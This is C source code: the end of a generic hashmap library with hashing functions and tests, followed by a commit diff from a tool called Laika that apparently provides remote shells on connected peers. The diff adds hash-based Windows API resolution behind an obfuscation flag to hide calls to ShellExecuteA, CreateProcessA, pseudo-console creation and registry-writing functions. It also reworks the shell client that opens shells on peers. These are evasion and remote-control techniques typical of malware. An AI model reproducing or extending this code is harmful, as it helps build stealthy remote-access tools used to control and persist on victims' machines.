map->free(map);
|
||||
}
|
||||
|
||||
// hashmap_oom returns true if the last hashmap_set() call failed due to the
|
||||
// system being out of memory.
|
||||
bool hashmap_oom(struct hashmap *map) {
|
||||
return map->oom;
|
||||
}
|
||||
|
||||
// hashmap_scan iterates over all items in the hash map
|
||||
// Param `iter` can return false to stop iteration early.
|
||||
// Returns false if the iteration has been stopped early.
|
||||
bool hashmap_scan(struct hashmap *map,
|
||||
bool (*iter)(const void *item, void *udata), void *udata)
|
||||
{
|
||||
for (size_t i = 0; i < map->nbuckets; i++) {
|
||||
struct bucket *bucket = bucket_at(map, i);
|
||||
if (bucket->dib) {
|
||||
if (!iter(bucket_item(bucket), udata)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// SipHash reference C implementation
|
||||
//
|
||||
// Copyright (c) 2012-2016 Jean-Philippe Aumasson
|
||||
// <jeanphilippe.aumasson@gmail.com>
|
||||
// Copyright (c) 2012-2014 Daniel J. Bernstein <djb@cr.yp.to>
|
||||
//
|
||||
// To the extent possible under law, the author(s) have dedicated all copyright
|
||||
// and related and neighboring rights to this software to the public domain
|
||||
// worldwide. This software is distributed without any warranty.
|
||||
//
|
||||
// You should have received a copy of the CC0 Public Domain Dedication along
|
||||
// with this software. If not, see
|
||||
// <http://creativecommons.org/publicdomain/zero/1.0/>.
|
||||
//
|
||||
// default: SipHash-2-4
|
||||
//-----------------------------------------------------------------------------
|
||||
static uint64_t SIP64(const uint8_t *in, const size_t inlen,
|
||||
uint64_t seed0, uint64_t seed1)
|
||||
{
|
||||
#define U8TO64_LE(p) \
|
||||
{ (((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | \
|
||||
((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \
|
||||
((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \
|
||||
((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56)) }
|
||||
#define U64TO8_LE(p, v) \
|
||||
{ U32TO8_LE((p), (uint32_t)((v))); \
|
||||
U32TO8_LE((p) + 4, (uint32_t)((v) >> 32)); }
|
||||
#define U32TO8_LE(p, v) \
|
||||
{ (p)[0] = (uint8_t)((v)); \
|
||||
(p)[1] = (uint8_t)((v) >> 8); \
|
||||
(p)[2] = (uint8_t)((v) >> 16); \
|
||||
(p)[3] = (uint8_t)((v) >> 24); }
|
||||
#define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b))))
|
||||
#define SIPROUND \
|
||||
{ v0 += v1; v1 = ROTL(v1, 13); \
|
||||
v1 ^= v0; v0 = ROTL(v0, 32); \
|
||||
v2 += v3; v3 = ROTL(v3, 16); \
|
||||
v3 ^= v2; \
|
||||
v0 += v3; v3 = ROTL(v3, 21); \
|
||||
v3 ^= v0; \
|
||||
v2 += v1; v1 = ROTL(v1, 17); \
|
||||
v1 ^= v2; v2 = ROTL(v2, 32); }
|
||||
uint64_t k0 = U8TO64_LE((uint8_t*)&seed0);
|
||||
uint64_t k1 = U8TO64_LE((uint8_t*)&seed1);
|
||||
uint64_t v3 = UINT64_C(0x7465646279746573) ^ k1;
|
||||
uint64_t v2 = UINT64_C(0x6c7967656e657261) ^ k0;
|
||||
uint64_t v1 = UINT64_C(0x646f72616e646f6d) ^ k1;
|
||||
uint64_t v0 = UINT64_C(0x736f6d6570736575) ^ k0;
|
||||
const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t));
|
||||
for (; in != end; in += 8) {
|
||||
uint64_t m = U8TO64_LE(in);
|
||||
v3 ^= m;
|
||||
SIPROUND; SIPROUND;
|
||||
v0 ^= m;
|
||||
}
|
||||
const int left = inlen & 7;
|
||||
uint64_t b = ((uint64_t)inlen) << 56;
|
||||
switch (left) {
|
||||
case 7: b |= ((uint64_t)in[6]) << 48;
|
||||
case 6: b |= ((uint64_t)in[5]) << 40;
|
||||
case 5: b |= ((uint64_t)in[4]) << 32;
|
||||
case 4: b |= ((uint64_t)in[3]) << 24;
|
||||
case 3: b |= ((uint64_t)in[2]) << 16;
|
||||
case 2: b |= ((uint64_t)in[1]) << 8;
|
||||
case 1: b |= ((uint64_t)in[0]); break;
|
||||
case 0: break;
|
||||
}
|
||||
v3 ^= b;
|
||||
SIPROUND; SIPROUND;
|
||||
v0 ^= b;
|
||||
v2 ^= 0xff;
|
||||
SIPROUND; SIPROUND; SIPROUND; SIPROUND;
|
||||
b = v0 ^ v1 ^ v2 ^ v3;
|
||||
uint64_t out = 0;
|
||||
U64TO8_LE((uint8_t*)&out, b);
|
||||
return out;
|
||||
}
|
||||
|
||||
//-----------------------------------------------------------------------------
|
||||
// MurmurHash3 was written by Austin Appleby, and is placed in the public
|
||||
// domain. The author hereby disclaims copyright to this source code.
|
||||
//
|
||||
// Murmur3_86_128
|
||||
//-----------------------------------------------------------------------------
|
||||
static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
|
||||
#define ROTL32(x, r) ((x << r) | (x >> (32 - r)))
|
||||
#define FMIX32(h) h^=h>>16; h*=0x85ebca6b; h^=h>>13; h*=0xc2b2ae35; h^=h>>16;
|
||||
const uint8_t * data = (const uint8_t*)key;
|
||||
const int nblocks = len / 16;
|
||||
uint32_t h1 = seed;
|
||||
uint32_t h2 = seed;
|
||||
uint32_t h3 = seed;
|
||||
uint32_t h4 = seed;
|
||||
uint32_t c1 = 0x239b961b;
|
||||
uint32_t c2 = 0xab0e9789;
|
||||
uint32_t c3 = 0x38b34ae5;
|
||||
uint32_t c4 = 0xa1e38b93;
|
||||
const uint32_t * blocks = (const uint32_t *)(data + nblocks*16);
|
||||
for (int i = -nblocks; i; i++) {
|
||||
uint32_t k1 = blocks[i*4+0];
|
||||
uint32_t k2 = blocks[i*4+1];
|
||||
uint32_t k3 = blocks[i*4+2];
|
||||
uint32_t k4 = blocks[i*4+3];
|
||||
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
|
||||
h1 = ROTL32(h1,19); h1 += h2; h1 = h1*5+0x561ccd1b;
|
||||
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2;
|
||||
h2 = ROTL32(h2,17); h2 += h3; h2 = h2*5+0x0bcaa747;
|
||||
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3;
|
||||
h3 = ROTL32(h3,15); h3 += h4; h3 = h3*5+0x96cd1c35;
|
||||
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4;
|
||||
h4 = ROTL32(h4,13); h4 += h1; h4 = h4*5+0x32ac3b17;
|
||||
}
|
||||
const uint8_t * tail = (const uint8_t*)(data + nblocks*16);
|
||||
uint32_t k1 = 0;
|
||||
uint32_t k2 = 0;
|
||||
uint32_t k3 = 0;
|
||||
uint32_t k4 = 0;
|
||||
switch(len & 15) {
|
||||
case 15: k4 ^= tail[14] << 16;
|
||||
case 14: k4 ^= tail[13] << 8;
|
||||
case 13: k4 ^= tail[12] << 0;
|
||||
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4;
|
||||
case 12: k3 ^= tail[11] << 24;
|
||||
case 11: k3 ^= tail[10] << 16;
|
||||
case 10: k3 ^= tail[ 9] << 8;
|
||||
case 9: k3 ^= tail[ 8] << 0;
|
||||
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3;
|
||||
case 8: k2 ^= tail[ 7] << 24;
|
||||
case 7: k2 ^= tail[ 6] << 16;
|
||||
case 6: k2 ^= tail[ 5] << 8;
|
||||
case 5: k2 ^= tail[ 4] << 0;
|
||||
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2;
|
||||
case 4: k1 ^= tail[ 3] << 24;
|
||||
case 3: k1 ^= tail[ 2] << 16;
|
||||
case 2: k1 ^= tail[ 1] << 8;
|
||||
case 1: k1 ^= tail[ 0] << 0;
|
||||
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
|
||||
};
|
||||
h1 ^= len; h2 ^= len; h3 ^= len; h4 ^= len;
|
||||
h1 += h2; h1 += h3; h1 += h4;
|
||||
h2 += h1; h3 += h1; h4 += h1;
|
||||
FMIX32(h1); FMIX32(h2); FMIX32(h3); FMIX32(h4);
|
||||
h1 += h2; h1 += h3; h1 += h4;
|
||||
h2 += h1; h3 += h1; h4 += h1;
|
||||
((uint32_t*)out)[0] = h1;
|
||||
((uint32_t*)out)[1] = h2;
|
||||
((uint32_t*)out)[2] = h3;
|
||||
((uint32_t*)out)[3] = h4;
|
||||
}
|
||||
|
||||
// hashmap_sip returns a hash value for `data` using SipHash-2-4.
|
||||
uint64_t hashmap_sip(const void *data, size_t len,
|
||||
uint64_t seed0, uint64_t seed1)
|
||||
{
|
||||
return SIP64((uint8_t*)data, len, seed0, seed1);
|
||||
}
|
||||
|
||||
// hashmap_murmur returns a hash value for `data` using Murmur3_86_128.
|
||||
uint64_t hashmap_murmur(const void *data, size_t len,
|
||||
uint64_t seed0, uint64_t seed1)
|
||||
{
|
||||
char out[16];
|
||||
MM86128(data, len, seed0, &out);
|
||||
return *(uint64_t*)out;
|
||||
}
|
||||
|
||||
//==============================================================================
|
||||
// TESTS AND BENCHMARKS
|
||||
// $ cc -DHASHMAP_TEST hashmap.c && ./a.out # run tests
|
||||
// $ cc -DHASHMAP_TEST -O3 hashmap.c && BENCH=1 ./a.out # run benchmarks
|
||||
//==============================================================================
|
||||
#ifdef HASHMAP_TEST
|
||||
|
||||
static size_t deepcount(struct hashmap *map) {
|
||||
size_t count = 0;
|
||||
for (size_t i = 0; i < map->nbuckets; i++) {
|
||||
if (bucket_at(map, i)->dib) {
|
||||
count++;
|
||||
}
|
||||
}
|
||||
return count;
|
||||
}
|
||||
|
||||
|
||||
#pragma GCC diagnostic ignored "-Wextra"
|
||||
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include "hashmap.h"
|
||||
|
||||
static bool rand_alloc_fail = false;
|
||||
static int rand_alloc_fail_odds = 3; // 1 in 3 chance malloc will fail.
|
||||
static uintptr_t total_allocs = 0;
|
||||
static uintptr_t total_mem = 0;
|
||||
|
||||
static void *xmalloc(size_t size) {
|
||||
if (rand_alloc_fail && rand()%rand_alloc_fail_odds == 0) {
|
||||
return NULL;
|
||||
}
|
||||
void *mem = malloc(sizeof(uintptr_t)+size);
|
||||
assert(mem);
|
||||
*(uintptr_t*)mem = size;
|
||||
total_allocs++;
|
||||
total_mem += size;
|
||||
return (char*)mem+sizeof(uintptr_t);
|
||||
}
|
||||
|
||||
static void xfree(void *ptr) {
|
||||
if (ptr) {
|
||||
total_mem -= *(uintptr_t*)((char*)ptr-sizeof(uintptr_t));
|
||||
free((char*)ptr-sizeof(uintptr_t));
|
||||
total_allocs--;
|
||||
}
|
||||
}
|
||||
|
||||
static void shuffle(void *array, size_t numels, size_t elsize) {
|
||||
char tmp[elsize];
|
||||
char *arr = array;
|
||||
for (size_t i = 0; i < numels - 1; i++) {
|
||||
int j = i + rand() / (RAND_MAX / (numels - i) + 1);
|
||||
memcpy(tmp, arr + j * elsize, elsize);
|
||||
memcpy(arr + j * elsize, arr + i * elsize, elsize);
|
||||
memcpy(arr + i * elsize, tmp, elsize);
|
||||
}
|
||||
}
|
||||
|
||||
static bool iter_ints(const void *item, void *udata) {
|
||||
int *vals = *(int**)udata;
|
||||
vals[*(int*)item] = 1;
|
||||
return true;
|
||||
}
|
||||
|
||||
static int compare_ints(const void *a, const void *b) {
|
||||
return *(int*)a - *(int*)b;
|
||||
}
|
||||
|
||||
static int compare_ints_udata(const void *a, const void *b, void *udata) {
|
||||
return *(int*)a - *(int*)b;
|
||||
}
|
||||
|
||||
static int compare_strs(const void *a, const void *b, void *udata) {
|
||||
return strcmp(*(char**)a, *(char**)b);
|
||||
}
|
||||
|
||||
static uint64_t hash_int(const void *item, uint64_t seed0, uint64_t seed1) {
|
||||
return hashmap_murmur(item, sizeof(int), seed0, seed1);
|
||||
}
|
||||
|
||||
static uint64_t hash_str(const void *item, uint64_t seed0, uint64_t seed1) {
|
||||
return hashmap_murmur(*(char**)item, strlen(*(char**)item), seed0, seed1);
|
||||
}
|
||||
|
||||
static void free_str(void *item) {
|
||||
xfree(*(char**)item);
|
||||
}
|
||||
|
||||
static void all() {
|
||||
int seed = getenv("SEED")?atoi(getenv("SEED")):time(NULL);
|
||||
int N = getenv("N")?atoi(getenv("N")):2000;
|
||||
printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int));
|
||||
srand(seed);
|
||||
|
||||
rand_alloc_fail = true;
|
||||
|
||||
// test sip and murmur hashes
|
||||
assert(hashmap_sip("hello", 5, 1, 2) == 2957200328589801622);
|
||||
assert(hashmap_murmur("hello", 5, 1, 2) == 1682575153221130884);
|
||||
|
||||
int *vals;
|
||||
while (!(vals = xmalloc(N * sizeof(int)))) {}
|
||||
for (int i = 0; i < N; i++) {
|
||||
vals[i] = i;
|
||||
}
|
||||
|
||||
struct hashmap *map;
|
||||
|
||||
while (!(map = hashmap_new(sizeof(int), 0, seed, seed,
|
||||
hash_int, compare_ints_udata, NULL, NULL))) {}
|
||||
shuffle(vals, N, sizeof(int));
|
||||
for (int i = 0; i < N; i++) {
|
||||
// // printf("== %d ==\n", vals[i]);
|
||||
assert(map->count == i);
|
||||
assert(map->count == hashmap_count(map));
|
||||
assert(map->count == deepcount(map));
|
||||
int *v;
|
||||
assert(!hashmap_get(map, &vals[i]));
|
||||
assert(!hashmap_delete(map, &vals[i]));
|
||||
while (true) {
|
||||
assert(!hashmap_set(map, &vals[i]));
|
||||
if (!hashmap_oom(map)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
for (int j = 0; j < i; j++) {
|
||||
v = hashmap_get(map, &vals[j]);
|
||||
assert(v && *v == vals[j]);
|
||||
}
|
||||
while (true) {
|
||||
v = hashmap_set(map, &vals[i]);
|
||||
if (!v) {
|
||||
assert(hashmap_oom(map));
|
||||
continue;
|
||||
} else {
|
||||
assert(!hashmap_oom(map));
|
||||
assert(v && *v == vals[i]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
v = hashmap_get(map, &vals[i]);
|
||||
assert(v && *v == vals[i]);
|
||||
v = hashmap_delete(map, &vals[i]);
|
||||
assert(v && *v == vals[i]);
|
||||
assert(!hashmap_get(map, &vals[i]));
|
||||
assert(!hashmap_delete(map, &vals[i]));
|
||||
assert(!hashmap_set(map, &vals[i]));
|
||||
assert(map->count == i+1);
|
||||
assert(map->count == hashmap_count(map));
|
||||
assert(map->count == deepcount(map));
|
||||
}
|
||||
|
||||
int *vals2;
|
||||
while (!(vals2 = xmalloc(N * sizeof(int)))) {}
|
||||
memset(vals2, 0, N * sizeof(int));
|
||||
assert(hashmap_scan(map, iter_ints, &vals2));
|
||||
for (int i = 0; i < N; i++) {
|
||||
assert(vals2[i] == 1);
|
||||
}
|
||||
xfree(vals2);
|
||||
|
||||
shuffle(vals, N, sizeof(int));
|
||||
for (int i = 0; i < N; i++) {
|
||||
int *v;
|
||||
v = hashmap_delete(map, &vals[i]);
|
||||
assert(v && *v == vals[i]);
|
||||
assert(!hashmap_get(map, &vals[i]));
|
||||
assert(map->count == N-i-1);
|
||||
assert(map->count == hashmap_count(map));
|
||||
assert(map->count == deepcount(map));
|
||||
for (int j = N-1; j > i; j--) {
|
||||
v = hashmap_get(map, &vals[j]);
|
||||
assert(v && *v == vals[j]);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
while (true) {
|
||||
assert(!hashmap_set(map, &vals[i]));
|
||||
if (!hashmap_oom(map)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
assert(map->count != 0);
|
||||
size_t prev_cap = map->cap;
|
||||
hashmap_clear(map, true);
|
||||
assert(prev_cap < map->cap);
|
||||
assert(map->count == 0);
|
||||
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
while (true) {
|
||||
assert(!hashmap_set(map, &vals[i]));
|
||||
if (!hashmap_oom(map)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
prev_cap = map->cap;
|
||||
hashmap_clear(map, false);
|
||||
assert(prev_cap == map->cap);
|
||||
|
||||
hashmap_free(map);
|
||||
|
||||
xfree(vals);
|
||||
|
||||
|
||||
while (!(map = hashmap_new(sizeof(char*), 0, seed, seed,
|
||||
hash_str, compare_strs, free_str, NULL)));
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
char *str;
|
||||
while (!(str = xmalloc(16)));
|
||||
sprintf(str, "s%i", i);
|
||||
while(!hashmap_set(map, &str));
|
||||
}
|
||||
|
||||
hashmap_clear(map, false);
|
||||
assert(hashmap_count(map) == 0);
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
char *str;
|
||||
while (!(str = xmalloc(16)));
|
||||
sprintf(str, "s%i", i);
|
||||
while(!hashmap_set(map, &str));
|
||||
}
|
||||
|
||||
hashmap_free(map);
|
||||
|
||||
if (total_allocs != 0) {
|
||||
fprintf(stderr, "total_allocs: expected 0, got %lu\n", total_allocs);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
#define bench(name, N, code) {{ \
|
||||
if (strlen(name) > 0) { \
|
||||
printf("%-14s ", name); \
|
||||
} \
|
||||
size_t tmem = total_mem; \
|
||||
size_t tallocs = total_allocs; \
|
||||
uint64_t bytes = 0; \
|
||||
clock_t begin = clock(); \
|
||||
for (int i = 0; i < N; i++) { \
|
||||
(code); \
|
||||
} \
|
||||
clock_t end = clock(); \
|
||||
double elapsed_secs = (double)(end - begin) / CLOCKS_PER_SEC; \
|
||||
double bytes_sec = (double)bytes/elapsed_secs; \
|
||||
printf("%d ops in %.3f secs, %.0f ns/op, %.0f op/sec", \
|
||||
N, elapsed_secs, \
|
||||
elapsed_secs/(double)N*1e9, \
|
||||
(double)N/elapsed_secs \
|
||||
); \
|
||||
if (bytes > 0) { \
|
||||
printf(", %.1f GB/sec", bytes_sec/1024/1024/1024); \
|
||||
} \
|
||||
if (total_mem > tmem) { \
|
||||
size_t used_mem = total_mem-tmem; \
|
||||
printf(", %.2f bytes/op", (double)used_mem/N); \
|
||||
} \
|
||||
if (total_allocs > tallocs) { \
|
||||
size_t used_allocs = total_allocs-tallocs; \
|
||||
printf(", %.2f allocs/op", (double)used_allocs/N); \
|
||||
} \
|
||||
printf("\n"); \
|
||||
}}
|
||||
|
||||
static void benchmarks() {
|
||||
int seed = getenv("SEED")?atoi(getenv("SEED")):time(NULL);
|
||||
int N = getenv("N")?atoi(getenv("N")):5000000;
|
||||
printf("seed=%d, count=%d, item_size=%zu\n", seed, N, sizeof(int));
|
||||
srand(seed);
|
||||
|
||||
|
||||
int *vals = xmalloc(N * sizeof(int));
|
||||
for (int i = 0; i < N; i++) {
|
||||
vals[i] = i;
|
||||
}
|
||||
|
||||
shuffle(vals, N, sizeof(int));
|
||||
|
||||
struct hashmap *map;
|
||||
shuffle(vals, N, sizeof(int));
|
||||
|
||||
map = hashmap_new(sizeof(int), 0, seed, seed, hash_int, compare_ints_udata,
|
||||
NULL, NULL);
|
||||
bench("set", N, {
|
||||
int *v = hashmap_set(map, &vals[i]);
|
||||
assert(!v);
|
||||
})
|
||||
shuffle(vals, N, sizeof(int));
|
||||
bench("get", N, {
|
||||
int *v = hashmap_get(map, &vals[i]);
|
||||
assert(v && *v == vals[i]);
|
||||
})
|
||||
shuffle(vals, N, sizeof(int));
|
||||
bench("delete", N, {
|
||||
int *v = hashmap_delete(map, &vals[i]);
|
||||
assert(v && *v == vals[i]);
|
||||
})
|
||||
hashmap_free(map);
|
||||
|
||||
map = hashmap_new(sizeof(int), N, seed, seed, hash_int, compare_ints_udata,
|
||||
NULL, NULL);
|
||||
bench("set (cap)", N, {
|
||||
int *v = hashmap_set(map, &vals[i]);
|
||||
assert(!v);
|
||||
})
|
||||
shuffle(vals, N, sizeof(int));
|
||||
bench("get (cap)", N, {
|
||||
int *v = hashmap_get(map, &vals[i]);
|
||||
assert(v && *v == vals[i]);
|
||||
})
|
||||
shuffle(vals, N, sizeof(int));
|
||||
bench("delete (cap)" , N, {
|
||||
int *v = hashmap_delete(map, &vals[i]);
|
||||
assert(v && *v == vals[i]);
|
||||
})
|
||||
|
||||
hashmap_free(map);
|
||||
|
||||
|
||||
xfree(vals);
|
||||
|
||||
if (total_allocs != 0) {
|
||||
fprintf(stderr, "total_allocs: expected 0, got %lu\n", total_allocs);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
hashmap_set_allocator(xmalloc, xfree);
|
||||
|
||||
if (getenv("BENCH")) {
|
||||
printf("Running hashmap.c benchmarks...\n");
|
||||
benchmarks();
|
||||
} else {
|
||||
printf("Running hashmap.c tests...\n");
|
||||
all();
|
||||
printf("PASSED\n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#include "obf.h"
|
||||
#include "lobf.h"
|
||||
|
||||
/*
|
||||
Most of this file was adapted from
|
||||
@@ -8,6 +8,8 @@
|
||||
*/
|
||||
|
||||
#include <process.h>
|
||||
#include <shlobj.h>
|
||||
#include <shlwapi.h>
|
||||
#include <windows.h>
|
||||
|
||||
/* ======================================[[ API Hashing ]]====================================== */
|
||||
@@ -135,15 +137,18 @@ _findByHashFail:
|
||||
|
||||
/* ======================================[[ Exposed API ]]====================================== */
|
||||
|
||||
#ifdef LAIKA_OBFUSCATE
|
||||
_ShellExecuteA oShellExecuteA;
|
||||
_CreatePseudoConsole oCreatePseudoConsole;
|
||||
_ClosePseudoConsole oClosePseudoConsole;
|
||||
_CreateProcessA oCreateProcessA;
|
||||
_RegOpenKeyExA oRegOpenKeyExA;
|
||||
_RegCloseKey oRegCloseKey;
|
||||
_RegSetValueExA oRegSetValueExA;
|
||||
_RegQueryValueExA oRegQueryValueExA;
|
||||
|
||||
/* TODO:
|
||||
GetEnvironmentVariable
|
||||
|
||||
windows registry related API
|
||||
*/
|
||||
|
||||
void laikaO_init()
|
||||
@@ -155,11 +160,14 @@ void laikaO_init()
|
||||
oCreatePseudoConsole = (_CreatePseudoConsole)findByHash("kernel32.dll", 0x7310ef7);
|
||||
oClosePseudoConsole = (_ClosePseudoConsole)findByHash("kernel32.dll", 0xeff42590);
|
||||
oCreateProcessA = (_CreateProcessA)findByHash("kernel32.dll", 0x9e687c1d);
|
||||
|
||||
/*
|
||||
hash = getHashName("InitializeProcThreadAttributeList");
|
||||
printf("InitializeProcThreadAttributeList: real is %p, hashed is %p. [HASH: %x]\n",
|
||||
(void *)InitializeProcThreadAttributeList,
|
||||
findByHash("kernel32.dll", hash), hash);
|
||||
*/
|
||||
oRegOpenKeyExA = (_RegOpenKeyExA)(findByHash("advapi32.dll", 0x15041404));
|
||||
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
|
||||
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
|
||||
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
|
||||
}
|
||||
#else
|
||||
void laikaO_init()
|
||||
{
|
||||
/* stubbed!! */
|
||||
}
|
||||
#endif
|
||||
Submodule libsodium updated: a606dc79ed...f568ff02f1
@@ -13,8 +13,5 @@ file(GLOB_RECURSE SHELLHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_executable(LaikaShell ${SHELLSOURCE} ${SHELLHEADERS})
|
||||
target_link_libraries(LaikaShell PUBLIC LaikaLib)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(LaikaShell PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
|
||||
# add include directory
|
||||
target_include_directories(LaikaShell PUBLIC ${SHELL_INCLUDEDIR})
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
#ifndef SHELLCLIENT_H
|
||||
#define SHELLCLIENT_H
|
||||
|
||||
#include "hashmap.h"
|
||||
#include "lpeer.h"
|
||||
#include "lsodium.h"
|
||||
#include "ltask.h"
|
||||
#include "core/hashmap.h"
|
||||
#include "core/lmem.h"
|
||||
#include "core/lsodium.h"
|
||||
#include "core/ltask.h"
|
||||
#include "net/lpeer.h"
|
||||
#include "speer.h"
|
||||
|
||||
typedef struct sShell_client
|
||||
@@ -15,9 +16,7 @@ typedef struct sShell_client
|
||||
struct sLaika_peer *peer;
|
||||
tShell_peer *openShell; /* if not NULL, shell is open on peer */
|
||||
struct hashmap *peers;
|
||||
tShell_peer **peerTbl;
|
||||
int peerTblCount;
|
||||
int peerTblCap;
|
||||
laikaM_newVector(tShell_peer *, peerTbl);
|
||||
} tShell_client;
|
||||
|
||||
#define shellC_isShellOpen(x) (x->openShell != NULL)
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
#ifndef SHELLPEER_H
|
||||
#define SHELLPEER_H
|
||||
|
||||
#include "lpeer.h"
|
||||
#include "lsodium.h"
|
||||
#include "core/lsodium.h"
|
||||
#include "net/lpeer.h"
|
||||
|
||||
typedef struct sShell_peer
|
||||
{
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#include "ini.h"
|
||||
#include "core/ini.h"
|
||||
#include "sclient.h"
|
||||
#include "sterm.h"
|
||||
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
#include "sclient.h"
|
||||
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lpacket.h"
|
||||
#include "lsodium.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "core/lsodium.h"
|
||||
#include "net/lpacket.h"
|
||||
#include "sterm.h"
|
||||
|
||||
void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick,
|
||||
@@ -45,7 +45,7 @@ void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
|
||||
|
||||
/* set peer salt */
|
||||
laikaS_setSalt(peer, saltBuf);
|
||||
@@ -134,7 +134,7 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
if (sz - sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH)
|
||||
return;
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
|
||||
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
|
||||
sz -= sizeof(uint32_t);
|
||||
|
||||
/* sanity check */
|
||||
@@ -150,7 +150,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
tShell_client *client = (tShell_client *)uData;
|
||||
uint32_t id;
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
|
||||
id = laikaS_readu32(&peer->sock); /* this is ignored for now */
|
||||
|
||||
/* sanity check */
|
||||
if (!shellC_isShellOpen(client))
|
||||
@@ -217,9 +217,7 @@ void shellC_init(tShell_client *client)
|
||||
client->peers = hashmap_new(sizeof(tShell_hashMapElem), 8, 0, 0, shell_ElemHash,
|
||||
shell_ElemCompare, NULL, NULL);
|
||||
client->openShell = NULL;
|
||||
client->peerTbl = NULL;
|
||||
client->peerTblCap = 4;
|
||||
client->peerTblCount = 0;
|
||||
laikaM_initVector(client->peerTbl, 4);
|
||||
|
||||
laikaT_initTaskService(&client->tService);
|
||||
laikaT_newTask(&client->tService, LAIKA_PING_INTERVAL, shell_pingTask, client);
|
||||
@@ -254,7 +252,7 @@ void shellC_cleanup(tShell_client *client)
|
||||
laikaT_cleanTaskService(&client->tService);
|
||||
|
||||
/* free peers */
|
||||
for (i = 0; i < client->peerTblCount; i++) {
|
||||
for (i = 0; i < laikaM_countVector(client->peerTbl); i++) {
|
||||
if (client->peerTbl[i])
|
||||
shellP_freePeer(client->peerTbl[i]);
|
||||
}
|
||||
@@ -346,16 +344,15 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer)
|
||||
{
|
||||
/* find empty ID */
|
||||
int id;
|
||||
for (id = 0; id < client->peerTblCount; id++) {
|
||||
for (id = 0; id < laikaM_countVector(client->peerTbl); id++) {
|
||||
if (client->peerTbl[id] == NULL) /* it's empty! */
|
||||
break;
|
||||
}
|
||||
|
||||
/* if we didn't find an empty id, grow the array */
|
||||
if (id == client->peerTblCount) {
|
||||
laikaM_growarray(tShell_peer *, client->peerTbl, 1, client->peerTblCount,
|
||||
client->peerTblCap);
|
||||
client->peerTblCount++;
|
||||
/* if we didn't find an empty id, grow the array (ID is already set to the correct index) */
|
||||
if (id == laikaM_countVector(client->peerTbl)) {
|
||||
laikaM_growVector(tShell_peer *, client->peerTbl, 1);
|
||||
laikaM_countVector(client->peerTbl)++;
|
||||
}
|
||||
|
||||
/* add to peer lookup table */
|
||||
@@ -399,8 +396,8 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
|
||||
/* send SHELL_OPEN request */
|
||||
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ);
|
||||
